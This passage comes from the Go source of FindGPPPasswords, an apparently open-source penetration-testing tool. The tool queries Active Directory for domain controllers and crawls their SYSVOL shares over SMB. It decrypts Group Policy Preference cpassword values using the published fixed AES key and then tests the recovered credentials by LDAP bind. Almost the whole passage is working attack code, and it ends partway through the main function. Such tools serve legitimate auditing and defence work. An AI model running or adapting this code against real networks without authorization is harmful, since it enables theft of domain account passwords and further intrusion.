53 | // List files
54 | if DEBUG {
55 | logger.Debug(fmt.Sprintf("Listing files of '%s'", dir))
56 | }
57 | entries, err := session.ListDirectory(share, dir, "*")
58 | if err != nil {
59 | if err == smb.StatusMap[smb.StatusAccessDenied] {
60 | if DEBUG {
61 | fmt.Printf("[SMBListFilesRecursivelyAndCallback] Could connect to [%s] but listing files in directory (%s) was prohibited\n", share, dir)
62 | }
63 | return nil
64 | }
65 | if DEBUG {
66 | fmt.Printf("[SMBListFilesRecursivelyAndCallback] Error: %s\n", err)
67 | }
68 | return nil
69 | }
70 |
71 | // Explore further and callback
72 | for _, entry := range entries {
73 | if entry.IsDir {
74 | if DEBUG {
75 | logger.Debug(fmt.Sprintf("Found Directory '%s'", entry.FullPath))
76 | }
77 | err = SMBListFilesRecursivelyAndCallback(session, share, entry.FullPath, callback)
78 | if err != nil {
79 | if DEBUG {
80 | fmt.Printf("[SMBListFilesRecursivelyAndCallback] Failed to list files in directory %s with error: %s\n", entry.FullPath, err)
81 | }
82 | continue
83 | }
84 | } else {
85 | if DEBUG {
86 | logger.Debug(fmt.Sprintf("Found file '%s'", entry.FullPath))
87 | }
88 | callback(session, share, entry.FullPath)
89 | }
90 | }
91 |
92 | return nil
93 | }
94 |
95 | // FindCPasswords searches for Group Policy Preference Passwords (GPP Passwords) in the SYSVOL share of a given domain controller.
96 | // It performs the following steps:
97 | // 1. Resolves the DNS hostname to an IP address.
98 | // 2. Establishes an SMB connection to the target IP address.
99 | // 3. Recursively searches for XML files in the SYSVOL share.
100 | // 4. Processes the found XML files to extract GPP Passwords.
101 | //
102 | // Parameters:
103 | // - dnsHostname: A slice of strings containing the DNS hostnames of the domain controller.
104 | // - config: The configuration settings for the connection and search.
105 | // - testResults: A pointer to the structure that holds the found Group Policy Preference Passwords.
106 | //
107 | // Returns:
108 | // - An error if any step of the process fails, otherwise nil.
109 | func FindCPasswords(dnsHostname []string, config config.Config, testResults *crypto.GroupPolicyPreferencePasswordsFound) error {
110 | targetIp := dns.DNSLookup(dnsHostname[0], config.DnsNameServer)
111 |
112 | if len(targetIp) > 0 {
113 | // Define the SMB connection options
114 | options := smb.Options{
115 | Host: targetIp[0],
116 | Port: 445,
117 | Initiator: &spnego.NTLMInitiator{
118 | User: config.Credentials.Username,
119 | Password: config.Credentials.Password,
120 | Domain: config.Credentials.Domain,
121 | },
122 | DialTimeout: time.Millisecond * time.Duration(5000),
123 | }
124 |
125 | // Create a new SMB connection
126 | session, err := smb.NewConnection(options)
127 | if err != nil {
128 | return err
129 | }
130 | defer session.Close()
131 |
132 | // Find all XML files in the root directory
133 | err = SMBListFilesRecursivelyAndCallback(session, "SYSVOL", "", testResults.CallbackFunctionCPassword)
134 | if err != nil {
135 | return err
136 | }
137 | } else {
138 | return fmt.Errorf("could not resolve host %s", dnsHostname[0])
139 | }
140 |
141 | return nil
142 | }
143 |
144 | // RunWorkers starts a specified number of worker goroutines to process tasks from the channel.
145 | // It takes a slice of LDAP entries, a configuration, and a pointer to the found Group Policy Preference Passwords.
146 | func RunWorkers(maxThreads int, domainControllersResults []*ldapv3.Entry, config config.Config, gpppfound *crypto.GroupPolicyPreferencePasswordsFound) {
147 | sem := make(chan struct{}, config.Threads)
148 |
149 | maxLenOfAdvancementString := len(fmt.Sprintf("%d", len(domainControllersResults)))
150 | advancementFormatString := fmt.Sprintf("(%%0%dd/%%0%dd)", maxLenOfAdvancementString, maxLenOfAdvancementString)
151 |
152 | var wg sync.WaitGroup
153 |
154 | for k, entry := range domainControllersResults {
155 | wg.Add(1)
156 |
157 | // acquire semaphore
158 | sem <- struct{}{}
159 |
160 | // start long running go routine
161 | go func(id int, entry *ldapv3.Entry) {
162 | defer wg.Done()
163 |
164 | advancementString := fmt.Sprintf(advancementFormatString, k+1, len(domainControllersResults))
165 |
166 | logger.Info(fmt.Sprintf("%s Searching for GPPPasswords in '\\\\%s\\SYSVOL\\' ... ", advancementString, entry.GetEqualFoldAttributeValues("dnsHostname")[0]))
167 |
168 | err := FindCPasswords(
169 | entry.GetEqualFoldAttributeValues("dnsHostname"),
170 | config,
171 | gpppfound,
172 | )
173 |
174 | if err != nil {
175 | logger.Warn(fmt.Sprintf("%s Error: %s", advancementString, err))
176 | } else {
177 | if config.Debug {
178 | logger.Info(fmt.Sprintf("%s Search in '\\\\%s\\SYSVOL\\' has finished successfully. ", advancementString, entry.GetEqualFoldAttributeValues("dnsHostname")[0]))
179 | }
180 | }
181 |
182 | // release semaphore
183 | <-sem
184 | }(k, entry)
185 | }
186 |
187 | wg.Wait()
188 | }
189 |
--------------------------------------------------------------------------------
/network/ldap/ldap.go:
--------------------------------------------------------------------------------
1 | package ldap
2 |
3 | import (
4 | "FindGPPPasswords/core/logger"
5 |
6 | "crypto/tls"
7 | "fmt"
8 | "strings"
9 |
10 | "github.com/go-ldap/ldap/v3"
11 | )
12 |
13 | type Entry ldap.Entry
14 |
15 | const (
16 | ScopeBaseObject = ldap.ScopeBaseObject
17 | ScopeSingleLevel = ldap.ScopeSingleLevel
18 | ScopeChildren = ldap.ScopeChildren
19 | ScopeWholeSubtree = ldap.ScopeWholeSubtree
20 | )
21 |
22 | type Session struct {
23 | // Network
24 | host string
25 | port int
26 | connection *ldap.Conn
27 | // Credentials
28 | domain string
29 | username string
30 | password string
31 | // Config
32 | debug bool
33 | useldaps bool
34 | }
35 |
36 | type Domain struct {
37 | NetBIOSName string `json:"netbiosName"`
38 | DNSName string `json:"dnsName"`
39 | DistinguishedName string `json:"distinguishedName"`
40 | SID string `json:"sid"`
41 | }
42 |
43 | func (s *Session) InitSession(host string, port int, useldaps bool, domain string, username string, password string, debug bool) error {
44 | // Check if TCP port is valid
45 | if port < 1 || port > 65535 {
46 | return fmt.Errorf("invalid port number. Port must be in the range 1-65535")
47 | }
48 |
49 | // Network
50 | s.host = host
51 | s.port = port
52 | // Credentials
53 | s.domain = domain
54 | s.username = username
55 | s.password = password
56 | // Config
57 | s.useldaps = useldaps
58 | s.debug = debug
59 |
60 | return nil
61 | }
62 |
63 | func (s *Session) Connect() error {
64 | // Set up LDAP connection
65 | var ldapConnection *ldap.Conn
66 | var err error
67 |
68 | // Check if LDAPS is available
69 | if s.useldaps {
70 | // LDAPS connection
71 | ldapConnection, err = ldap.DialURL(
72 | fmt.Sprintf("ldaps://%s:%d", s.host, s.port),
73 | ldap.DialWithTLSConfig(
74 | &tls.Config{
75 | InsecureSkipVerify: true,
76 | },
77 | ),
78 | )
79 | if err != nil {
80 | return fmt.Errorf("error connecting to LDAPS server: %w", err)
81 | }
82 | } else {
83 | // Regular LDAP connection
84 | ldapConnection, err = ldap.DialURL(fmt.Sprintf("ldap://%s:%d", s.host, s.port))
85 | if err != nil {
86 | return fmt.Errorf("error connecting to LDAP server: %w", err)
87 | }
88 | }
89 |
90 | // Bind with credentials if provided
91 | if len(s.password) > 0 {
92 | // Binding with credentials
93 | err = ldapConnection.Bind(fmt.Sprintf("%s@%s", s.username, s.domain), s.password)
94 | if err != nil {
95 | return fmt.Errorf("error binding with credentials: %w", err)
96 | }
97 | } else {
98 | // Unauthenticated Bind
99 | bindDN := ""
100 | if s.username != "" {
101 | bindDN = fmt.Sprintf("%s@%s", s.username, s.domain)
102 | }
103 |
104 | err = ldapConnection.UnauthenticatedBind(bindDN)
105 | if err != nil {
106 | return fmt.Errorf("error performing unauthenticated bind: %w", err)
107 | }
108 | }
109 |
110 | s.connection = ldapConnection
111 |
112 | return nil
113 | }
114 |
115 | func (s *Session) ReConnect() error {
116 | s.connection.Close()
117 | return s.Connect()
118 | }
119 |
120 | func GetRootDSE(ldapSession *Session) *ldap.Entry {
121 | // Specify LDAP search parameters
122 | // https://pkg.go.dev/gopkg.in/ldap.v3#NewSearchRequest
123 | searchRequest := ldap.NewSearchRequest(
124 | // Base DN blank
125 | "",
126 | // Scope Base
127 | ldap.ScopeBaseObject,
128 | // DerefAliases
129 | ldap.NeverDerefAliases,
130 | // SizeLimit
131 | 1,
132 | // TimeLimit
133 | 0,
134 | // TypesOnly
135 | false,
136 | // Search filter
137 | "(objectClass=*)",
138 | // Attributes to retrieve
139 | []string{"*"},
140 | // Controls
141 | nil,
142 | )
143 |
144 | // Perform LDAP search
145 | searchResult, err := ldapSession.connection.Search(searchRequest)
146 | if err != nil {
147 | logger.Warn(fmt.Sprintf("Error searching LDAP: %s", err))
148 | return nil
149 | }
150 |
151 | return searchResult.Entries[0]
152 | }
153 |
154 | func RawQuery(ldapSession *Session, baseDN string, query string, attributes []string, scope int) []*ldap.Entry {
155 | debug := false
156 |
157 | // Parsing parameters
158 | if len(baseDN) == 0 {
159 | baseDN = "defaultNamingContext"
160 | }
161 | if strings.ToLower(baseDN) == "defaultnamingcontext" {
162 | rootDSE := GetRootDSE(ldapSession)
163 | if debug {
164 | logger.Debug(fmt.Sprintf("Using defaultNamingContext %s ...\n", rootDSE.GetAttributeValue("defaultNamingContext")))
165 | }
166 | baseDN = rootDSE.GetAttributeValue("defaultNamingContext")
167 | } else if strings.ToLower(baseDN) == "configurationnamingcontext" {
168 | rootDSE := GetRootDSE(ldapSession)
169 | if debug {
170 | logger.Debug(fmt.Sprintf("Using configurationNamingContext %s ...\n", rootDSE.GetAttributeValue("configurationNamingContext")))
171 | }
172 | baseDN = rootDSE.GetAttributeValue("configurationNamingContext")
173 | } else if strings.ToLower(baseDN) == "schemanamingcontext" {
174 | rootDSE := GetRootDSE(ldapSession)
175 | if debug {
176 | logger.Debug(fmt.Sprintf("Using schemaNamingContext CN=Schema,%s ...\n", rootDSE.GetAttributeValue("configurationNamingContext")))
177 | }
178 | baseDN = fmt.Sprintf("CN=Schema,%s", rootDSE.GetAttributeValue("configurationNamingContext"))
179 |
180 | }
181 |
182 | if (scope != ldap.ScopeBaseObject) && (scope != ldap.ScopeSingleLevel) && (scope != ldap.ScopeWholeSubtree) {
183 | scope = ldap.ScopeWholeSubtree
184 | }
185 |
186 | // Specify LDAP search parameters
187 | // https://pkg.go.dev/gopkg.in/ldap.v3#NewSearchRequest
188 | searchRequest := ldap.NewSearchRequest(
189 | // Base DN
190 | baseDN,
191 | // Scope
192 | scope,
193 | // DerefAliases
194 | ldap.NeverDerefAliases,
195 | // SizeLimit
196 | 0,
197 | // TimeLimit
198 | 0,
199 | // TypesOnly
200 | false,
201 | // Search filter
202 | query,
203 | // Attributes to retrieve
204 | attributes,
205 | // Controls
206 | nil,
207 | )
208 |
209 | // Perform LDAP search
210 | searchResult, err := ldapSession.connection.SearchWithPaging(searchRequest, 1000)
211 | if err != nil {
212 | logger.Warn(fmt.Sprintf("Error searching LDAP: %s", err))
213 | return nil
214 | }
215 |
216 | return searchResult.Entries
217 | }
218 |
219 | func QueryBaseObject(ldapSession *Session, baseDN string, query string, attributes []string) []*ldap.Entry {
220 | entries := RawQuery(ldapSession, baseDN, query, attributes, ldap.ScopeBaseObject)
221 | return entries
222 | }
223 |
224 | func QuerySingleLevel(ldapSession *Session, baseDN string, query string, attributes []string) []*ldap.Entry {
225 | entries := RawQuery(ldapSession, baseDN, query, attributes, ldap.ScopeSingleLevel)
226 | return entries
227 | }
228 |
229 | func QueryWholeSubtree(ldapSession *Session, baseDN string, query string, attributes []string) []*ldap.Entry {
230 | entries := RawQuery(ldapSession, baseDN, query, attributes, ldap.ScopeWholeSubtree)
231 | return entries
232 | }
233 |
234 | func QueryAllNamingContexts(ldapSession *Session, query string, attributes []string, scope int) []*ldap.Entry {
235 | // Fetch the RootDSE entry to get the naming contexts
236 | rootDSE := GetRootDSE(ldapSession)
237 | if rootDSE == nil {
238 | // logger.Warn("Could not retrieve RootDSE.")
239 | return nil
240 | }
241 |
242 | // Retrieve the namingContexts attribute
243 | namingContexts := rootDSE.GetAttributeValues("namingContexts")
244 | if len(namingContexts) == 0 {
245 | //logger.Warn("No naming contexts found.")
246 | return nil
247 | }
248 |
249 | // Store all entries from all naming contexts
250 | var allEntries []*ldap.Entry
251 |
252 | // Iterate over each naming context and perform the query
253 | for _, context := range namingContexts {
254 | entries := RawQuery(ldapSession, context, query, attributes, scope)
255 | if entries != nil {
256 | allEntries = append(allEntries, entries...)
257 | }
258 | }
259 |
260 | return allEntries
261 | }
262 |
263 | func CanLogin(ldapSession *Session) (bool, error) {
264 | // Set up LDAP connection
265 | var ldapConnection *ldap.Conn
266 | var err error
267 |
268 | if ldapSession.useldaps {
269 | ldapConnection, err = ldap.DialURL(
270 | fmt.Sprintf("ldaps://%s:%d", ldapSession.host, ldapSession.port),
271 | ldap.DialWithTLSConfig(
272 | &tls.Config{
273 | InsecureSkipVerify: true,
274 | },
275 | ),
276 | )
277 | } else {
278 | ldapConnection, err = ldap.DialURL(fmt.Sprintf("ldap://%s:%d", ldapSession.host, ldapSession.port))
279 | }
280 |
281 | if err != nil {
282 | return false, err
283 | }
284 | defer ldapConnection.Close()
285 |
286 | // Bind with provided credentials
287 | err = ldapConnection.Bind(fmt.Sprintf("%s\\%s", ldapSession.domain, ldapSession.username), ldapSession.password)
288 | if err != nil {
289 | return false, err
290 | }
291 |
292 | return true, nil
293 | }
294 |
--------------------------------------------------------------------------------
/core/crypto/grouppolicypreferencepasswords.go:
--------------------------------------------------------------------------------
1 | package crypto
2 |
3 | import (
4 | "bytes"
5 | "crypto/aes"
6 | "crypto/cipher"
7 | "encoding/base64"
8 | "encoding/binary"
9 | "encoding/xml"
10 | "fmt"
11 | "log"
12 | "strings"
13 | "unicode/utf16"
14 |
15 | "github.com/jfjallid/go-smb/smb"
16 | "github.com/zenazn/pkcs7pad"
17 | )
18 |
19 | // XML structure for Properties
20 | type User_Properties struct {
21 | Action string `xml:"action,attr"`
22 | NewName string `xml:"newName,attr"`
23 | UserName string `xml:"userName,attr"`
24 | CPassword string `xml:"cpassword,attr"`
25 | }
26 |
27 | // XML structure for User
28 | type User struct {
29 | Properties User_Properties `xml:"Properties"`
30 | }
31 |
32 | // XML structure for Groups
33 | type Groups struct {
34 | Users []User `xml:"User"`
35 | }
36 |
37 | // XML structure for Trigger
38 | type Trigger struct {
39 | Interval string `xml:"interval,attr"`
40 | Type string `xml:"type,attr"`
41 | StartHour string `xml:"startHour,attr"`
42 | StartMinutes string `xml:"startMinutes,attr"`
43 | BeginYear string `xml:"beginYear,attr"`
44 | BeginMonth string `xml:"beginMonth,attr"`
45 | BeginDay string `xml:"beginDay,attr"`
46 | HasEndDate string `xml:"hasEndDate,attr"`
47 | RepeatTask string `xml:"repeatTask,attr"`
48 | Week string `xml:"week,attr"`
49 | Days string `xml:"days,attr"`
50 | Months string `xml:"months,attr"`
51 | }
52 |
53 | // XML structure for Triggers
54 | type Triggers struct {
55 | Trigger []Trigger `xml:"Trigger"`
56 | }
57 |
58 | // XML structure for Task Properties
59 | type TaskProperties struct {
60 | DeleteWhenDone string `xml:"deleteWhenDone,attr"`
61 | StartOnlyIfIdle string `xml:"startOnlyIfIdle,attr"`
62 | StopOnIdleEnd string `xml:"stopOnIdleEnd,attr"`
63 | NoStartIfOnBatteries string `xml:"noStartIfOnBatteries,attr"`
64 | StopIfGoingOnBatteries string `xml:"stopIfGoingOnBatteries,attr"`
65 | SystemRequired string `xml:"systemRequired,attr"`
66 | Action string `xml:"action,attr"`
67 | Name string `xml:"name,attr"`
68 | AppName string `xml:"appName,attr"`
69 | Args string `xml:"args,attr"`
70 | StartIn string `xml:"startIn,attr"`
71 | Comment string `xml:"comment,attr"`
72 | RunAs string `xml:"runAs,attr"`
73 | CPassword string `xml:"cpassword,attr"`
74 | Enabled string `xml:"enabled,attr"`
75 | Triggers Triggers `xml:"Triggers"`
76 | }
77 |
78 | // XML structure for Task
79 | type Task struct {
80 | Clsid string `xml:"clsid,attr"`
81 | Name string `xml:"name,attr"`
82 | Image string `xml:"image,attr"`
83 | Changed string `xml:"changed,attr"`
84 | UID string `xml:"uid,attr"`
85 | Properties TaskProperties `xml:"Properties"`
86 | }
87 |
88 | // XML structure for ScheduledTasks
89 | type ScheduledTasks struct {
90 | Clsid string `xml:"clsid,attr"`
91 | Tasks []Task `xml:"Task"`
92 | }
93 |
94 | type CPasswordEntry struct {
95 | RunAs string
96 | UserName string
97 | NewName string
98 | CPassword string
99 | Password string
100 | }
101 |
102 | type GroupPolicyPreferencePasswordsFound struct {
103 | Entries map[string][]*CPasswordEntry
104 | }
105 |
106 | func (r *GroupPolicyPreferencePasswordsFound) CallbackFunctionCPassword(session *smb.Connection, share string, pathToFile string) error {
107 | elements := strings.Split(pathToFile, ".")
108 | extension := strings.ToLower(elements[len(elements)-1])
109 |
110 | if strings.EqualFold(extension, "xml") {
111 | uncPathToFile := fmt.Sprintf("\\\\%s\\%s\\%s", session.GetTargetInfo().DnsComputerName, share, pathToFile)
112 |
113 | buffer := bytes.NewBuffer([]byte{})
114 |
115 | err := session.RetrieveFile(share, pathToFile, 0, buffer.Write)
116 | if err != nil {
117 | return err
118 | }
119 |
120 | cpasswords := ExtractCPasswordsFromRawXML(buffer)
121 |
122 | if len(cpasswords) != 0 {
123 | if _, ok := r.Entries[uncPathToFile]; !ok {
124 | r.Entries[uncPathToFile] = make([]*CPasswordEntry, 0)
125 | }
126 | r.Entries[uncPathToFile] = append(r.Entries[uncPathToFile], cpasswords...)
127 | }
128 | }
129 |
130 | return nil
131 | }
132 |
133 | // DecryptCPassword decrypts a base64 encoded string using the fixed AES key and IV
134 | func DecryptCPassword(encStr string) string {
135 | // AES Key as per the Microsoft documentation
136 | key := []byte{
137 | 0x4e, 0x99, 0x06, 0xe8, 0xfc, 0xb6, 0x6c, 0xc9, 0xfa, 0xf4, 0x93, 0x10, 0x62, 0x0f, 0xfe, 0xe8,
138 | 0xf4, 0x96, 0xe8, 0x06, 0xcc, 0x05, 0x79, 0x90, 0x20, 0x9b, 0x09, 0xa4, 0x33, 0xb6, 0x6c, 0x1b,
139 | }
140 |
141 | // Fixed null IV (Initialization Vector)
142 | iv := make([]byte, aes.BlockSize)
143 |
144 | // Padding base64 encoded string to ensure it's properly padded
145 | pad := len(encStr) % 4
146 | if pad == 1 {
147 | encStr = encStr[:len(encStr)-1]
148 | } else if pad == 2 || pad == 3 {
149 | encStr += strings.Repeat("=", 4-pad)
150 | }
151 |
152 | // Decode base64 string
153 | ciphertext, err := base64.StdEncoding.DecodeString(encStr)
154 | if err != nil {
155 | return "" //, fmt.Errorf("base64 decoding failed: %v", err)
156 | }
157 |
158 | // Create AES cipher block
159 | block, err := aes.NewCipher(key)
160 | if err != nil {
161 | return "" //, fmt.Errorf("failed to create AES cipher: %v", err)
162 | }
163 |
164 | // Ensure ciphertext length is a multiple of AES block size
165 | if len(ciphertext)%aes.BlockSize != 0 {
166 | return "" //, fmt.Errorf("ciphertext is not a multiple of the block size")
167 | }
168 |
169 | // Create CBC decrypter
170 | mode := cipher.NewCBCDecrypter(block, iv)
171 |
172 | // Decrypt the ciphertext
173 | plaintext := make([]byte, len(ciphertext))
174 | mode.CryptBlocks(plaintext, ciphertext)
175 |
176 | // Remove PKCS#7 padding
177 | plaintext, err = pkcs7pad.Unpad(plaintext)
178 | if err != nil {
179 | return "" //, fmt.Errorf("unpadding failed: %v", err)
180 | }
181 |
182 | // Convert from UTF-16LE to string
183 | password, err := decodeUTF16LE(plaintext)
184 | if err != nil {
185 | return "" //, fmt.Errorf("UTF-16-LE decoding failed: %v", err)
186 | }
187 |
188 | return password //, nil
189 | }
190 |
191 | func ExtractCPasswordsFromRawXML(buffer *bytes.Buffer) []*CPasswordEntry {
192 | // Create an instance of Groups to hold the parsed data
193 | foundCpasswords := make([]*CPasswordEntry, 0)
194 |
195 | if strings.Contains(buffer.String(), "") {
196 | // Parse the XML data to search for ScheduledTasks
197 | scheduledtasks := ScheduledTasks{}
198 |
199 | err := xml.NewDecoder(buffer).Decode(&scheduledtasks)
200 | if err != nil {
201 | log.Fatalf("Error parsing XML: %v", err)
202 | }
203 |
204 | // Extract and print the desired properties
205 | for _, task := range scheduledtasks.Tasks {
206 | if len(task.Properties.CPassword) != 0 {
207 | entry := CPasswordEntry{
208 | RunAs: task.Properties.RunAs,
209 | CPassword: task.Properties.CPassword,
210 | Password: DecryptCPassword(task.Properties.CPassword),
211 | }
212 | foundCpasswords = append(foundCpasswords, &entry)
213 | }
214 | }
215 |
216 | } else if strings.Contains(buffer.String(), "") {
217 | // Parse the XML data to search for Users
218 | groups := Groups{}
219 |
220 | err := xml.NewDecoder(buffer).Decode(&groups)
221 | if err != nil {
222 | log.Fatalf("Error parsing XML: %v", err)
223 | }
224 |
225 | // Extract and print the desired properties
226 | for _, user := range groups.Users {
227 | if len(user.Properties.CPassword) != 0 {
228 | entry := CPasswordEntry{
229 | UserName: user.Properties.UserName,
230 | NewName: user.Properties.NewName,
231 | CPassword: user.Properties.CPassword,
232 | Password: DecryptCPassword(user.Properties.CPassword),
233 | }
234 | foundCpasswords = append(foundCpasswords, &entry)
235 | }
236 | }
237 | }
238 |
239 | return foundCpasswords
240 | }
241 |
242 | // decodeUTF16LE decodes a UTF-16LE byte slice into a string
243 | func decodeUTF16LE(b []byte) (string, error) {
244 | // Ensure the byte slice has an even length since UTF-16 is 2 bytes per character
245 | if len(b)%2 != 0 {
246 | return "", fmt.Errorf("invalid UTF-16LE byte slice length")
247 | }
248 |
249 | // Create a slice to hold the 16-bit runes
250 | u16 := make([]uint16, len(b)/2)
251 |
252 | // Use binary.Read to convert the byte slice into uint16 values in Little Endian order
253 | err := binary.Read(bytes.NewReader(b), binary.LittleEndian, &u16)
254 | if err != nil {
255 | return "", fmt.Errorf("failed to convert bytes to UTF-16LE: %v", err)
256 | }
257 |
258 | // Decode the UTF-16 sequence, assuming no surrogate pairs are present
259 | runes := utf16.Decode(u16)
260 |
261 | return string(runes), nil
262 | }
263 |
--------------------------------------------------------------------------------
/main.go:
--------------------------------------------------------------------------------
1 | package main
2 |
3 | import (
4 | "FindGPPPasswords/core"
5 | "FindGPPPasswords/core/config"
6 | "FindGPPPasswords/core/crypto"
7 | "FindGPPPasswords/core/exporter"
8 | "FindGPPPasswords/core/logger"
9 | "FindGPPPasswords/network/ldap"
10 | "slices"
11 |
12 | "fmt"
13 | "os"
14 | "runtime"
15 | "strings"
16 | "time"
17 |
18 | "github.com/p0dalirius/goopts/parser"
19 | )
20 |
21 | var (
22 | // Configuration
23 | useLdaps bool
24 | quiet bool
25 | debug bool
26 | nocolors bool
27 | numberOfThreads int
28 |
29 | // Network
30 | dnsNameServer string
31 | domainController string
32 | ldapPort int
33 |
34 | // Authentication
35 | authDomain string
36 | authUsername string
37 | authPassword string
38 | authHashes string
39 |
40 | // Additional Options
41 | outputExcel string
42 | testCredentials bool
43 | )
44 |
45 | func parseArgs() {
46 | ap := parser.ArgumentsParser{Banner: "FindGPPPasswords - by Remi GASCOU (Podalirius) @ TheManticoreProject - v1.2"}
47 |
48 | ap.NewBoolArgument(&quiet, "-q", "--quiet", false, "Show no information at all.")
49 | ap.NewBoolArgument(&debug, "-d", "--debug", false, "Debug mode.")
50 | ap.NewBoolArgument(&nocolors, "-nc", "--no-colors", false, "No colors mode.")
51 |
52 | group_ldapSettings, err := ap.NewArgumentGroup("LDAP Connection Settings")
53 | if err != nil {
54 | fmt.Printf("[error] Error creating ArgumentGroup: %s\n", err)
55 | } else {
56 | group_ldapSettings.NewStringArgument(&domainController, "-dc", "--dc-ip", "", true, "IP Address of the domain controller or KDC (Key Distribution Center) for Kerberos. If omitted, it will use the domain part (FQDN) specified in the identity parameter.")
57 | group_ldapSettings.NewTcpPortArgument(&ldapPort, "-lp", "--ldap-port", 389, false, "Port number to connect to LDAP server.")
58 | group_ldapSettings.NewBoolArgument(&useLdaps, "-L", "--use-ldaps", false, "Use LDAPS instead of LDAP.")
59 | }
60 |
61 | group_dnsSettings, err := ap.NewArgumentGroup("DNS Settings")
62 | if err != nil {
63 | fmt.Printf("[error] Error creating ArgumentGroup: %s\n", err)
64 | } else {
65 | group_dnsSettings.NewStringArgument(&dnsNameServer, "-ns", "--nameserver", "", false, "IP Address of the DNS server to use in the queries. If omitted, it will use the IP of the domain controller specified in the -dc parameter.")
66 | }
67 |
68 | group_auth, err := ap.NewArgumentGroup("Authentication")
69 | if err != nil {
70 | fmt.Printf("[error] Error creating ArgumentGroup: %s\n", err)
71 | } else {
72 | group_auth.NewStringArgument(&authDomain, "-d", "--domain", "", true, "Active Directory domain to authenticate to.")
73 | group_auth.NewStringArgument(&authUsername, "-u", "--username", "", true, "User to authenticate as.")
74 | group_auth.NewStringArgument(&authPassword, "-p", "--password", "", false, "Password to authenticate with.")
75 | group_auth.NewStringArgument(&authHashes, "-H", "--hashes", "", false, "NT/LM hashes, format is LMhash:NThash.")
76 | group_auth.NewIntArgument(&numberOfThreads, "-T", "--threads", 0, false, "Number of threads to use.")
77 | }
78 |
79 | group_extraOptions, err := ap.NewArgumentGroup("Additional Options")
80 | if err != nil {
81 | fmt.Printf("[error] Error creating ArgumentGroup: %s\n", err)
82 | } else {
83 | group_extraOptions.NewStringArgument(&outputExcel, "-x", "--export-xlsx", "", false, "Path to output Excel file.")
84 | group_extraOptions.NewBoolArgument(&testCredentials, "-tc", "--test-credentials", false, "Test credentials.")
85 | }
86 |
87 | ap.Parse()
88 |
89 | // Set default port if not specified
90 | if ldapPort == 0 {
91 | if useLdaps {
92 | ldapPort = 636
93 | } else {
94 | ldapPort = 389
95 | }
96 | }
97 |
98 | // Validate required arguments
99 | if domainController == "" {
100 | fmt.Println("[!] Option -dc is required.")
101 | ap.Usage()
102 | os.Exit(1)
103 | }
104 | }
105 |
106 | func TestCredentials(gpppfound crypto.GroupPolicyPreferencePasswordsFound, config config.Config) {
107 | testedUsernames := []string{}
108 |
109 | logger.Info("")
110 | logger.Info("Testing credentials:")
111 |
112 | for pathToFile := range gpppfound.Entries {
113 | for _, entry := range gpppfound.Entries[pathToFile] {
114 | username := ""
115 | domain := ""
116 |
117 | // Case of scheduled task
118 | if len(username) == 0 && len(entry.RunAs) != 0 && len(entry.UserName) == 0 {
119 | if strings.Contains(entry.RunAs, "\\") {
120 | parts := strings.SplitN(entry.RunAs, "\\", 2)
121 | domain = parts[0]
122 | username = parts[1]
123 | } else {
124 | username = entry.RunAs
125 | }
126 | }
127 |
128 | // Case of local account
129 | if len(username) == 0 && (len(entry.UserName) != 0 || len(entry.NewName) != 0) {
130 | if len(entry.NewName) != 0 {
131 | username = entry.NewName
132 | } else {
133 | username = entry.UserName
134 | }
135 | }
136 |
137 | if len(username) != 0 {
138 | if !slices.Contains(testedUsernames, username) {
139 | ldapSession := ldap.Session{}
140 | ldapSession.InitSession(
141 | domainController,
142 | ldapPort,
143 | config.UseLdaps,
144 | domain,
145 | username,
146 | entry.Password,
147 | config.Debug,
148 | )
149 |
150 | err := ldapSession.Connect()
151 | if err == nil {
152 | if len(domain) == 0 {
153 | logger.Info(fmt.Sprintf("\x1b[1;92m [+] %s : %s\x1b[0m", username, entry.Password))
154 | } else {
155 | logger.Info(fmt.Sprintf("\x1b[1;92m [+] %s\\%s : %s\x1b[0m", domain, username, entry.Password))
156 | }
157 | } else {
158 | if len(domain) == 0 {
159 | logger.Info(fmt.Sprintf("\x1b[91m [!] %s : %s\x1b[0m", username, entry.Password))
160 | } else {
161 | logger.Info(fmt.Sprintf("\x1b[91m [!] %s\\%s : %s\x1b[0m", domain, username, entry.Password))
162 | }
163 | }
164 | testedUsernames = append(testedUsernames, username)
165 | } else {
166 | logger.Info(fmt.Sprintf("\x1b[93m [*] Skipping test of %s : %s to avoid potentiallockout.\x1b[0m", username, entry.Password))
167 | }
168 | }
169 | }
170 | }
171 |
172 | logger.Info("Finished testing credentials.")
173 | logger.Info("")
174 | }
175 |
176 | func main() {
177 | parseArgs()
178 |
179 | startTime := time.Now()
180 |
181 | authDomain = strings.ToUpper(authDomain)
182 |
183 | config := config.Config{}
184 | config.Credentials.Username = authUsername
185 | config.Credentials.Domain = authDomain
186 | config.Credentials.Password = authPassword
187 | config.Credentials.DCIP = domainController
188 | if len(dnsNameServer) == 0 {
189 | config.DnsNameServer = domainController
190 | } else {
191 | config.DnsNameServer = dnsNameServer
192 | }
193 | if numberOfThreads != 0 {
194 | config.Threads = numberOfThreads
195 | } else {
196 | config.Threads = runtime.NumCPU()
197 | }
198 | config.UseLdaps = useLdaps
199 | config.Debug = debug
200 |
201 | outputDir, err := os.Getwd()
202 | if err != nil {
203 | logger.Warn(fmt.Sprintf("Error getting current working directory: %s", err))
204 | config.OutputDir = "./"
205 | } else {
206 | config.OutputDir = outputDir
207 | }
208 |
209 | if debug {
210 | if !useLdaps {
211 | logger.Debug(fmt.Sprintf("Connecting to remote ldap://%s:%d ...", domainController, ldapPort))
212 | } else {
213 | logger.Debug(fmt.Sprintf("Connecting to remote ldaps://%s:%d ...", domainController, ldapPort))
214 | }
215 | }
216 | ldapSession := ldap.Session{}
217 | ldapSession.InitSession(
218 | domainController,
219 | ldapPort,
220 | config.UseLdaps,
221 | config.Credentials.Domain,
222 | config.Credentials.Username,
223 | config.Credentials.Password,
224 | config.Debug,
225 | )
226 | err = ldapSession.Connect()
227 |
228 | if err == nil {
229 | logger.Info(fmt.Sprintf("Connected as '%s\\%s'", authDomain, authUsername))
230 |
231 | domainControllersQuery := "(&"
232 | // We look for computer accounts
233 | domainControllersQuery += "(objectClass=computer)"
234 | // That are domain controllers
235 | UAF_SERVER_TRUST_ACCOUNT := 0x2000
236 | domainControllersQuery += fmt.Sprintf("(userAccountControl:1.2.840.113556.1.4.803:=%d)", UAF_SERVER_TRUST_ACCOUNT)
237 | // Account that are not disabled
238 | UAF_ACCOUNT_DISABLED := 0x0002
239 | domainControllersQuery += fmt.Sprintf("(!(userAccountControl:1.2.840.113556.1.4.803:=%d))", UAF_ACCOUNT_DISABLED)
